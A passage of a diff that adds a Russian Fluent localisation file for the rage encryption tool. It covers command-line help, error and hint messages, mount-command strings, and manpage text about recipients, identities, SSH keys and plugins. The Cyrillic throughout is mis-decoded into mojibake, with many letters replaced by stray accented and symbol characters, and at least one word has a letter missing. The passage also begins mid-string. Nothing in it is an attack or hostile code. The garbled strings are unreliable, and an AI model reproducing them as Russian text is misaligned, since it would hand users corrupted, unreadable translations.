Ñообщение Ñправки и выходить. +help-flag-version = Печатать информацию о верÑии и выходить. +help-flag-encrypt = Шифровать ввод (по умолчанию). +help-flag-decrypt = РаÑшифровать ввод. +help-flag-passphrase = Шифровать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð²Ð¼ÐµÑто получателей. +help-flag-max-work-factor = МакÑимальный коÑффициент работы Ð´Ð»Ñ Ð´ÐµÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ. +help-flag-armor = Шифровать в формате PEM. +help-flag-recipient = Шифровать Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ð³Ð¾ {recipient}. Можно повторÑть. +help-flag-recipients-file = Шифровать Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»ÐµÐ¹, перечиÑленных в {recipients-file}. Можно повторÑть. +help-flag-identity = ИÑпользовать файл идентификации в {identity}. Можно повторÑть. +help-flag-plugin-name = ИÑпользовать плагин {-age-plugin-}{plugin-name} в его Ñтандартном режиме Ð´Ð»Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸. +help-flag-output = ЗапиÑать результат в файл по пути {output}. + +rage-after-help-content = + {input} по умолчанию иÑпользует Ñтандартный ввод, а {output} - Ñтандартный вывод. + ЕÑли {output} ÑущеÑтвует, он будет перезапиÑан. + + {recipient} может быть: + - Публичным ключом {-age}, как Ñгенерировано {$keygen_name} ({$example_age_pubkey}). + - Публичным ключом SSH ({$example_ssh_pubkey}). + + {recipients-file} Ñто путь к файлу, Ñодержащему получателей {-age}, по одному на Ñтроку + (игнорируютÑÑ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸Ð¸ Ñ Ð¿Ñ€ÐµÑ„Ð¸ÐºÑом "#" и пуÑтые Ñтроки). {-stdin} может + иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»ÐµÐ¹ Ñо Ñтандартного ввода. + + {identity} Ñто путь к файлу Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð°Ð¼Ð¸ {-age}, по одному на Ñтроку + (игнорируютÑÑ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸Ð¸ Ñ Ð¿Ñ€ÐµÑ„Ð¸ÐºÑом "#" и пуÑтые Ñтроки), или к файлу + ключа SSH. Файлы идентификации {-age}, зашифрованные Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ паролÑ, могут + иÑпользоватьÑÑ ÐºÐ°Ðº файлы идентификации. ожно указать неÑколько идентификаторов, + неиÑпользуемые будут игнорироватьÑÑ. {-stdin} может иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ + идентификаторов Ñо Ñтандартного ввода. + +rage-after-help-example = + Пример: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} По умолчанию иÑпользует Ñтандартный вывод. +keygen-help-flag-convert = Преобразовать файл идентификации в файл получателей. + +## Formatting + +warning-msg = Внимание: {$warning} + +## Keygen messages + +tty-pubkey = Публичный ключ +identity-file-created = Ñоздан +identity-file-pubkey = публичный ключ + +## Encryption messages + +autogenerated-passphrase = ИÑпользование автоматичеÑки Ñгенерированного паролÑ: +type-passphrase = Введите пароль +prompt-passphrase = Пароль + +warn-double-encrypting = Шифрование уже зашифрованного файла + +## General errors + +err-failed-to-open-input = Ðе удалоÑÑŒ открыть входной файл: {$err} +err-failed-to-open-output = Ðе удалоÑÑŒ открыть выходной файл: {$err} +err-failed-to-read-input = Ðе удалоÑÑŒ прочитать из входного файла: {$err} +err-failed-to-write-output = Ðе удалоÑÑŒ запиÑать в выходной файл: {$err} +err-identity-ambiguous = {-flag-identity} требует либо {-flag-encrypt}, либо {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} не может иÑпользоватьÑÑ Ð²Ð¼ÐµÑте Ñ {-flag-decrypt}. +err-passphrase-timed-out = ИÑтекло Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð²Ð²Ð¾Ð´Ð° паролÑ. +err-same-input-and-output = Входной и выходной файлы Ñовпадают '{$filename}'. + +err-ux-A = {-rage} не Ñделал то, что вы ожидали? Могла ли быть полезнее ошибка? +err-ux-B = Сообщите нам +# ПоÑтавьте здеÑÑŒ пробелы (len(A) - len(B) - 32). +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = Ðе удалоÑÑŒ запиÑать в stdout: {$err} +rec-enc-broken-stdout = Ð’Ñ‹ передаете данные в программу, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð½Ðµ читает из stdin? + +err-enc-broken-file = Ðе удалоÑÑŒ запиÑать в файл: {$err} + +rec-enc-missing-recipients = Ð’Ñ‹ забыли указать {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} не может иÑпользоватьÑÑ Ñ {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} не может иÑпользоватьÑÑ Ñ {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} не может иÑпользоватьÑÑ Ñ {-flag-passphrase}. +err-enc-passphrase-without-file = Файл Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ быть передан как аргумент при иÑпользовании {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} не может иÑпользоватьÑÑ Ñ {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = Похоже, что Ñтот файл был поврежден перенаправлением PowerShell. +rec-detected-powershell-corruption = РаÑÑмотрите возможноÑть иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ {-flag-output} или {-flag-armor} Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² в PowerShell. + +rec-dec-excessive-work = Ð”Ð»Ñ Ñ€Ð°Ñшифровки попробуйте Ñнова Ñ {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +rec-dec-armor-flag = Обратите внимание, что бронированные файлы определÑÑŽÑ‚ÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки. + +err-dec-missing-identities = ОтÑутÑтвуют идентификаторы. +rec-dec-missing-identities = Ð’Ñ‹ забыли указать {-flag-identity}? +rec-dec-missing-identities-stdin = Ð’Ñ‹ забыли предоÑтавить идентификатор через Ñтандартный ввод? + +err-dec-mixed-identity-passphrase = {-flag-identity} не может иÑпользоватьÑÑ Ñ Ñ„Ð°Ð¹Ð»Ð°Ð¼Ð¸, зашифрованными паролем. + +err-mixed-identity-and-plugin-name = {-flag-identity} не может иÑпользоватьÑÑ Ñ {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +rec-dec-passphrase-flag = Обратите внимание, что файлы, зашифрованные паролем, обнаруживаютÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки. + +err-dec-passphrase-without-file-win = + Этот файл требует паролÑ, и в Windows файл Ð´Ð»Ñ Ñ€Ð°Ñшифровки + должен быть передан как позиционный аргумент при раÑшифровке Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼. + +err-dec-recipient-flag = {-flag-recipient} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +rec-dec-recipient-flag = Ð’Ñ‹ имели в виду иÑпользовать {-flag-identity} Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð¸Ñ Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ð¾Ð³Ð¾ ключа? + +## rage-mount strings + +mnt-filename = ИМЯ_ФÐЙЛР+mnt-mountpoint = ТОЧКÐ_МОÐТИРОВÐÐИЯ +mnt-types = ТИПЫ + +help-arg-mnt-filename = Ð—Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ ÑиÑтема Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ. +help-arg-mnt-mountpoint = Ð”Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð¾Ð¹ ÑиÑтемы. +help-arg-mnt-types = Указывает тип файловой ÑиÑтемы (один из {$types}). + +info-decrypting = РаÑшифровка {$filename} +info-mounting-as-fuse = Монтирование как Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ ÑиÑтема FUSE + +err-mnt-missing-filename = ОтÑутÑтвует Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°. +err-mnt-missing-mountpoint = ОтÑутÑтвует точка Ð¼Ð¾Ð½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ +err-mnt-missing-types = ОтÑутÑтвует {-flag-mnt-types}. +err-mnt-unknown-type = ÐеизвеÑтный тип файловой ÑиÑтемы "{$fs_type}" + +## Unstable features + +test-unstable = Чтобы протеÑтировать Ñто, Ñоберите {-rage} Ñ {-flag-unstable}. + +## rage manpage + +recipients = ПОЛУЧÐТЕЛИ +identities = ИДЕÐТИФИКÐТОРЫ + +man-rage-about = ПроÑтой, безопаÑный и Ñовременный инÑтрумент ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ + +man-rage-description = + {-rage} шифрует или раÑшифровывает {input} в {output}. Ðргумент {input} + необÑзателен и по умолчанию иÑпользует Ñтандартный ввод. + Может быть указан только один файл {input}. ЕÑли {-flag-output} + не указан, {output} по умолчанию иÑпользует Ñтандартный вывод. + + ЕÑли указан {-flag-passphrase}, файл шифруетÑÑ Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼, запрашиваемым в + интерактивном режиме. Ð’ противном Ñлучае он шифруетÑÑ Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ или + неÑкольких {recipients}, указанных Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-recipient} или + {-flag-recipients-file}. Каждый получатель может раÑшифровать файл. + + Ð’ режиме {-flag-decrypt}, файлы, зашифрованные паролем, обнаруживаютÑÑ + автоматичеÑки, и пароль запрашиваетÑÑ Ð² интерактивном режиме. Ð’ противном Ñлучае иÑпользуютÑÑ + один или неÑколько {identities}, указанных Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-identity}, Ð´Ð»Ñ Ñ€Ð°Ñшифровки файла + + Зашифрованные файлы {-age} ÑвлÑÑŽÑ‚ÑÑ Ð±Ð¸Ð½Ð°Ñ€Ð½Ñ‹Ð¼Ð¸ и не поддаютÑÑ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñм, Ñ Ð¿Ñ€Ð¸Ð±Ð»Ð¸Ð·Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾ 200 байтами + накладных раÑходов на каждого получателÑ, Ð¿Ð»ÑŽÑ 16 байт на каждые 64КБ иÑходного текÑта. + +man-rage-flag-output = + ЗапиÑать зашифрованный или раÑшифрованный файл в {output} вмеÑто Ñтандартного вывода. + ЕÑли {output} уже ÑущеÑтвует, он будет перезапиÑан. + + ЕÑли шифрование производитÑÑ Ð±ÐµÐ· {-flag-armor}, {-rage} откажетÑÑ Ð²Ñ‹Ð²Ð¾Ð´Ð¸Ñ‚ÑŒ двоичные данные в TTY. + Это можно принудительно указать, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ {-stdin} в качеÑтве {output} + +man-rage-encryption-options = Опции ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ + +man-rage-flag-encrypt = + Зашифровать {input} в {output}. Это значение по умолчанию. + +man-rage-flag-recipient = + Зашифровать Ð´Ð»Ñ Ñвно указанного {recipient}. Смотрите раздел + {man-rage-recipients-and-identities-heading} Ð´Ð»Ñ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ñ‹Ñ… + форматов получателей. + + Этот параметр можно повторÑть и комбинировать Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ флагами получателей, + и файл может быть раÑшифрован вÑеми предоÑтавленными получателÑми незавиÑимо. + +man-rage-flag-recipients-file = + Зашифровать Ð´Ð»Ñ {recipients}, перечиÑленных в файле по адреÑу {recipients-file}, по одному на Ñтроку. + ПуÑтые Ñтроки и Ñтроки, начинающиеÑÑ Ñ "#", игнорируютÑÑ ÐºÐ°Ðº комментарии. + + ЕÑли {recipients-file} ÑвлÑетÑÑ {-stdin}, получатели читаютÑÑ Ñо Ñтандартного ввода. + Ð’ Ñтом Ñлучае должен быть указан аргумент {input}. + + Этот параметр можно повторÑть и комбинировать Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ флагами получателей, + и файл может быть раÑшифрован вÑеми предоÑтавленными получателÑми незавиÑимо. + +man-rage-flag-passphrase = + Шифровать Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼, запрашиваемым в интерактивном режиме из терминала. + {-rage} предложит автоматичеÑки Ñгенерировать безопаÑный пароль. + + Этот параметр не может иÑпользоватьÑÑ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ флагами получателей. + +man-rage-flag-armor = + Зашифровать только в ASCII "бронированное" кодирование. + + {-age} armor - Ñто ÑÑ‚Ñ€Ð¾Ð³Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ PEM Ñ Ñ‚Ð¸Ð¿Ð¾Ð¼ "{-armor-pem-type}", + каноничеÑкий "Ñтрогий" Base64, без заголовков и без поддержки начальных и + конечных дополнительных данных. + + РаÑшифровка прозрачно обнаруживает и декодирует ASCII бронирование. + +man-rage-flag-identity-encrypt = + Шифровать Ð´Ð»Ñ {recipients}, ÑоответÑтвующих {identities}, перечиÑленным в + файле по адреÑу {identity}. Это Ñквивалентно преобразованию файла по адреÑу {identity} + в файл получателей Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ '{-rage-keygen} {-flag-convert}', а затем передачи его в + {-flag-recipients-file}. + + Ð”Ð»Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð° {identity} Ñмотрите определение {-flag-identity} в + разделе {man-rage-decryption-options}. + + При иÑпользовании {-flag-identity} в режиме ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ Ñвно + указать {-flag-encrypt}, чтобы избежать путаницы. + +man-rage-flag-plugin-encrypt = + Шифровать, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ð»Ð°Ð³Ð¸Ð½ без данных {plugin-name}. + + Это Ñквивалентно иÑпользованию {-flag-identity} Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð¼, который Ñодержит + один плагин {identity}, не кодирующий ÑпецифичеÑкие Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð° данные. + + При иÑпользовании {-flag-plugin-name} в режиме ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ Ñвно + указать {-flag-encrypt}, чтобы избежать путаницы. + +man-rage-decryption-options = Опции раÑшифровки + +man-rage-flag-decrypt = + РаÑшифровать {input} в {output}. + + ЕÑли {input} зашифрован паролем, Ñто будет автоматичеÑки обнаружено, + и пароль будет запрошен в интерактивном режиме. Ð’ противном Ñлучае + иÑпользуютÑÑ {identities}, указанные Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-identity}. + + ASCII-армирование раÑпознаетÑÑ Ð¸ декодируетÑÑ Ð¿Ñ€Ð¾Ð·Ñ€Ð°Ñ‡Ð½Ð¾. + +man-rage-flag-identity-decrypt = + РаÑшифровать, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ {identities} в {identity}. + + {identity} может быть одним из Ñледующих: + + a. Файл, перечиÑлÑющий {identities}, по одному на Ñтроку. ПуÑтые Ñтроки и + Ñтроки, начинающиеÑÑ Ñ "#", игнорируютÑÑ ÐºÐ°Ðº комментарии. + + b. Файл age, зашифрованный паролем, Ñодержащий {identities}, по одному на + Ñтроку, как указано выше. Пароль запрашиваетÑÑ Ð² интерактивном режиме. + Обратите внимание, что файлы идентификации, защищенные паролем, не нужны в + большинÑтве Ñлучаев иÑпользованиÑ, где доÑтуп к зашифрованному файлу + идентификации подразумевает доÑтуп ко вÑей ÑиÑтеме. + + c. Файл чаÑтного ключа SSH в формате PKCS#1, PKCS#8 или OpenSSH. ЕÑли + чаÑтный ключ защищен паролем, пароль запрашиваетÑÑ Ð² интерактивном режиме + только в Ñлучае, еÑли Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ SSH ÑоответÑтвует файлу. Смотрите + раздел {man-rage-ssh-keys-heading} Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации, + Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ñ‹Ðµ типы ключей. + + d. {-stdin}, что приводит к чтению одного из вышеуказанных вариантов Ñо Ñтандартного ввода. + Ð’ Ñтом Ñлучае должен быть указан аргумент {input}. + + Этот параметр можно повторÑть. Идентификаторы пробуютÑÑ Ð² том порÑдке, в + котором они предоÑтавлены, и иÑпользуетÑÑ Ð¿ÐµÑ€Ð²Ñ‹Ð¹, ÑоответÑтвующий одному из + получателей файла. ÐеиÑпользуемые идентификаторы игнорируютÑÑ, но Ñто + ошибка, еÑли файл {input} зашифрован паролем и указан {-flag-identity}. + +man-rage-flag-plugin-decrypt = + РаÑшифровать Ñ Ð¸Ñпользованием плагина без данных {plugin-name}. + + Это Ñквивалентно иÑпользованию {-flag-identity} Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð¼, который Ñодержит + один плагин {identity}, не кодирующий данные, Ñпецифичные Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð°. + +man-rage-recipients-and-identities-heading = ПОЛУЧÐТЕЛИ И ИДЕÐТИФИКÐТОРЫ +man-rage-recipients-and-identities = + {recipients} - Ñто публичные значениÑ, например, публичный ключ, Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð°. + {identities} - Ñто чаÑтные значениÑ, например, чаÑтный ключ, позволÑющие раÑшифровать файл, + зашифрованный Ð´Ð»Ñ ÑоответÑтвующего {recipient}. + +man-rage-native-x25519-keys-heading = Родные ключи X25519 +man-rage-native-x25519-keys = + Родные пары ключей {-age} генерируютÑÑ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-rage-keygen}(1) и + обеÑпечивают небольшие кодировки и Ñильное шифрование на оÑнове X25519. Они + ÑвлÑÑŽÑ‚ÑÑ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´ÑƒÐµÐ¼Ñ‹Ð¼ типом Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ð½Ñтва приложений. + + Кодировка {recipient} начинаетÑÑ Ñ "{-recipient-prefix}" и выглÑдит + Ñледующим образом: + + {" "}{$example_age_recipient} + + Кодировка {identity} начинаетÑÑ Ñ "{-identity-prefix}" и выглÑдит + Ñледующим образом: + + {" "}{$example_age_identity} + + Зашифрованный файл не может быть ÑвÑзан Ñ Ñ€Ð¾Ð´Ð½Ñ‹Ð¼ получателем, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ + он зашифрован, без доÑтупа к ÑоответÑтвующему идентификатору. + +man-rage-ssh-keys-heading = Ключи SSH +man-rage-ssh-keys = + Ð’ качеÑтве удобной функции {-rage} также поддерживает шифрование Ð´Ð»Ñ ÐºÐ»ÑŽÑ‡ÐµÐ¹ + RSA или Ed25519 {-ssh}. Ключи RSA должны быть не менее 2048 бит. Эта + Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¸Ñпользует более Ñложную криптографию и должна иÑпользоватьÑÑ + только тогда, когда Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ Ð½ÐµÐ´Ð¾Ñтупен родной ключ. Обратите внимание, + что ключи SSH могут не быть защищены в долгоÑрочной перÑпективе получателем, + так как они могут быть отозваны при иÑпользовании только Ð´Ð»Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸. + + Кодировка {recipient} - Ñто публичный ключ SSH в формате "{-ssh-authorized-keys}" + (Ñм. раздел "{-authorized-keys-file-format}" {-sshd}), начинающийÑÑ Ñ + "{-ssh-rsa}" или "{-ssh-ed25519}", как Ñледующее: + + {" "}{$example_ssh_rsa} + {" "}{$example_ssh_ed25519} + + Комментарий в конце Ñтроки, еÑли он приÑутÑтвует, игнорируетÑÑ. + + Ð’ файлах получателей, переданных в {-flag-recipients-file}, + неподдерживаемые, но дейÑтвительные публичные ключи SSH игнорируютÑÑ Ñ + предупреждением, чтобы облегчить иÑпользование файлов " + {-ssh-authorized-keys}" или GitHub "{-dot-keys}". (См. {man-examples-heading}.) + + {identity} - Ñто _файл_ чаÑтного ключа SSH, передаваемый индивидуально в + {-flag-identity}. Обратите внимание, что ключи, хранÑщиеÑÑ Ð½Ð° аппаратных + токенах, таких как YubiKeys, или доÑтупные через {-ssh-agent}, не поддерживаютÑÑ. + + Зашифрованный файл _может_ быть ÑвÑзан Ñ Ð¿ÑƒÐ±Ð»Ð¸Ñ‡Ð½Ñ‹Ð¼ ключом SSH, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ он был зашифрован. + Это Ñделано Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, чтобы {-rage} мог идентифицировать правильный чаÑтный ключ SSH + до запроÑа его паролÑ, еÑли таковой имеетÑÑ. + +man-rage-plugins-heading = Плагины +man-rage-plugins = + {-rage} может быть раÑширен Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ плагинов. Плагин загружаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в Ñлучае, + еÑли указан ÑоответÑтвующий {recipient} или {identity}. (ПроÑÑ‚Ð°Ñ Ñ€Ð°Ñшифровка файла, + зашифрованного Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ плагина, не приведет к его загрузке по ÑоображениÑм безопаÑноÑти, Ñреди прочего.) + + {recipient} Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð° Ñ Ð¸Ð¼ÐµÐ½ÐµÐ¼ "{-example}" начинаетÑÑ Ñ "{-example-r}", + в то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº {identity} начинаетÑÑ Ñ "{-example-i}". Оба они кодируют + произвольные данные, Ñпецифичные Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð°, и генерируютÑÑ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼. + + Когда указан один из них, {-rage} ищет {-age-plugin-}{-example} в PATH + и выполнÑет его Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ раÑшифровки заголовка файла. + Плагин может запроÑить ввод данных от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ñ‡ÐµÑ€ÐµÐ· {-rage} Ð´Ð»Ñ + Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ð¸Ð¸. + + Плагины могут Ñвободно комбинироватьÑÑ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ плагинами или ключами, поддерживаемыми нативно. + + Плагин не ограничиваетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ шифрованием или раÑшифровкой файлов, предназначенных + Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ или Ñгенерированных им. Ðапример, плагин может иÑпользоватьÑÑ Ð´Ð»Ñ + раÑшифровки файлов, зашифрованных Ð´Ð»Ñ Ñ€Ð¾Ð´Ð½Ð¾Ð³Ð¾ {recipient} X25519 или даже Ñ + паролем. Ðналогично, плагин может зашифровать файл таким образом, чтобы его + можно было раÑшифровать без иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð»ÑŽÐ±Ð¾Ð³Ð¾ плагина. + + Ð”Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð², Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… различие {identity}/{recipient} не имеет ÑмыÑла + (например, Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð° Ñимметричного шифрованиÑ), могут генерироватьÑÑ + только {identity}, и пользователю может быть дана инÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½Ñть + шифрование Ñ Ñ„Ð»Ð°Ð³Ð°Ð¼Ð¸ {-flag-encrypt} и {-flag-identity}. Ð”Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð², Ð´Ð»Ñ + которых ÐºÐ¾Ð½Ñ†ÐµÐ¿Ñ†Ð¸Ñ Ð¾Ñ‚Ð´ÐµÐ»ÑŒÐ½Ñ‹Ñ… идентификаторов не имеет ÑмыÑла (например, + плагин ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼), пользователю может быть дана инÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ + иÑпользовать флаг {-flag-plugin-name}. + +man-examples-heading = ПРИМЕРЫ + +man-rage-example-single = Сгенерировать новый идентификатор, зашифровать данные и раÑшифровать +man-rage-example-enc-multiple = Зашифровать {$input} Ð´Ð»Ñ Ð½ÐµÑкольких получателей и вывеÑти в {$output} +man-rage-example-enc-list = Зашифровать Ð´Ð»Ñ ÑпиÑка получателей +man-rage-example-password = Зашифровать и раÑшифровать файл Ñ Ð¸Ñпользованием Ð¿Ð°Ñ€Ð¾Ð»Ñ +man-rage-example-identity-passphrase = Зашифровать и раÑшифровать Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð¼ идентификации, защищенным паролем +man-rage-example-ssh = Зашифровать и раÑшифровать Ñ Ð¿ÑƒÐ±Ð»Ð¸Ñ‡Ð½Ñ‹Ð¼ ключом SSH +man-rage-example-yubikey = Зашифровать и раÑшифровать Ñ {-age-plugin-}{-yubikey} +man-rage-example-yubikey-setup = ЗапуÑтить интерактивную наÑтройку, Ñгенерировать файл идентификации и получить получателÑ. +man-rage-example-enc-github = Зашифровать Ð´Ð»Ñ SSH-ключей Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ GitHub + +man-see-also-heading = СМОТРИТЕ ТÐКЖЕ + +## rage-keygen manpage + +man-keygen-about = Генерировать пары ключей шифрованиÑ, ÑовмеÑтимые Ñ age + +man-keygen-description = + {-rage-keygen} генерирует новую родную пару ключей {-age} и выводит + идентификатор в Ñтандартный вывод или в файл {output}. + Вывод включает публичный ключ и текущее Ð²Ñ€ÐµÐ¼Ñ Ð² качеÑтве комментариев. + + ЕÑли вывод не идет в терминал, {-rage-keygen} печатает публичный ключ в + Ñтандартный поток ошибок. + +man-keygen-flag-output = + ЗапиÑать идентификатор в {output} вмеÑто Ñтандартного вывода. + + ЕÑли {output} уже ÑущеÑтвует, он не будет перезапиÑан. 